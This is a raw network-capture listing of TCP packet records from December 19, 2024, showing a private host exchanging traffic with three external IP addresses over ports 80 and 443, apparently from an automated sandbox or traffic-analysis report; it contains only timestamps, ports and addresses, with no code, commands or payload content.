Dec 19, 2024 20:11:23.744744062 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.745295048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.745305061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.746248960 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.746474981 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.747247934 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.747370958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.747447014 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.747508049 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.747642994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.748425961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.748471975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.748531103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.748598099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.749362946 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.749424934 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.749588966 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.749648094 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.750318050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.750381947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.750775099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.750876904 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.751574993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.751599073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.751657009 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.752377033 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.752435923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.752454042 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.752505064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.753339052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.753401995 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.753439903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.753488064 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.754446030 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.754535913 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.754558086 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.754614115 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.755379915 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.755455017 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.755470037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.755547047 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.756407976 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.756459951 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.756515026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.756567955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.757494926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.757558107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.757669926 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.757749081 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.758486986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.758546114 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.758819103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.758898973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.759551048 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.759608030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.759697914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.759744883 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.760469913 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.760550976 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.760607958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.760674953 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.761447906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.761521101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.761521101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.761574030 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.762480021 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.762547970 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.762548923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.762609959 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.763622046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.763698101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.763729095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.763803959 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.764501095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.764549971 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.764588118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.764650106 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.765461922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.765527010 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.766401052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.766515970 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.766572952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.766621113 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.766676903 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.766721010 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.767482996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.767568111 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.768270016 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.768378973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.768460035 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.768542051 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.768595934 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.768651962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.769619942 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.769721031 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.769792080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.769963980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.770570993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.770620108 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.771001101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.771070957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.772102118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.772113085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.772171974 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.773655891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.773667097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.773675919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.773716927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.774209023 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.774262905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.774571896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.774697065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.775640965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.775652885 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.775707960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.775810003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.775861979 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.776601076 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.776652098 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.776993036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.777043104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.777590990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.777684927 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.778048992 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.778115988 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.778659105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.778723955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.778781891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.778841019 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.779845953 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.779902935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.780091047 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.780138969 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.780711889 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.780783892 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.780934095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.780996084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.781692028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.781757116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.782527924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.782589912 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.782682896 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.782692909 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.782727957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.783679008 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.783740044 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.784573078 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.784626007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.784691095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.784701109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.784753084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.785801888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.785811901 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.785867929 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.786807060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.786902905 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.787220001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.787270069 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.787826061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.787836075 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.787889957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.788831949 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.788902998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.788975000 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.789057016 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.790282965 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.790339947 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.790378094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.790419102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.791177988 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.791249037 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.791636944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.791704893 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.792092085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.792140007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.792678118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.792722940 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.792984009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.793081999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.805705070 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.805799007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.805850029 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.805929899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.805979967 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.806062937 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.806128979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.806178093 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.806256056 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.806333065 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.807193995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.807204008 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.807265043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.808123112 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.808181047 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.935442924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.935523033 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.935585976 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.935640097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:23.936037064 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:23.936083078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:26.097626925 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:26.097673893 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:26.097805977 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:26.101351023 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:26.101361990 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:26.422966957 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:26.423295021 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:26.543713093 CET	80	49813	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:26.544009924 CET	80	49788	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:26.544107914 CET	49788	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:26.544116020 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:26.544326067 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:26.663970947 CET	80	49813	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:27.319775105 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:27.319856882 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:27.321868896 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:27.321882963 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:27.322108984 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:27.373915911 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:27.394969940 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:27.394969940 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:27.395062923 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:27.895169973 CET	80	49813	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:27.896692038 CET	49813	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:27.897855043 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:27.898210049 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:28.018488884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:28.018496037 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:28.018647909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:28.018979073 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:28.018979073 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:28.117515087 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:28.117662907 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:28.118031025 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:28.120064020 CET	49812	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:28.120080948 CET	443	49812	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:28.128840923 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:28.128870010 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:28.128946066 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:28.129215002 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:28.129225969 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:28.138654947 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.344480991 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.344681025 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.344695091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.344880104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.344948053 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.344961882 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.345017910 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.345340014 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.345354080 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.345366001 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.345422029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.345777988 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.345861912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.346014023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.346111059 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.358215094 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:29.358330965 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:29.367594004 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:29.367604971 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:29.367933035 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:29.415887117 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:29.427123070 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:29.427138090 CET	49820	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:29.427238941 CET	443	49820	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:29.464432955 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.464540958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.464601040 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.464636087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.468945026 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.472558022 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.536411047 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.536556005 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.536689997 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.540721893 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.540971041 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.540971994 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.541018009 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.549355030 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.552145958 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.552226067 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.552259922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.552304029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.560632944 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.560730934 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.560822964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.569103956 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.569233894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.569318056 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.577514887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.577609062 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.577692032 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.586045027 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.586215019 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.586287022 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.594439983 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.594590902 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.594686031 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.602936029 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.603003979 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.603010893 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.603050947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.611401081 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.611500978 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.611582041 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.619828939 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.619947910 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.620029926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.656387091 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.656445026 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.729044914 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.729096889 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.729168892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.729217052 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.731431961 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.731481075 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.731538057 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.731578112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.736308098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.736366034 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.736424923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.736478090 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.741247892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.741274118 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.741307974 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.741323948 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.745917082 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.745963097 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.746025085 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.746071100 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.750751019 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.750797033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.750878096 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.750912905 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.755772114 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.755784035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:29.755825996 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.755872011 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:29.759859085 CET	80	49815	31.41.244.11	192.168.2.4
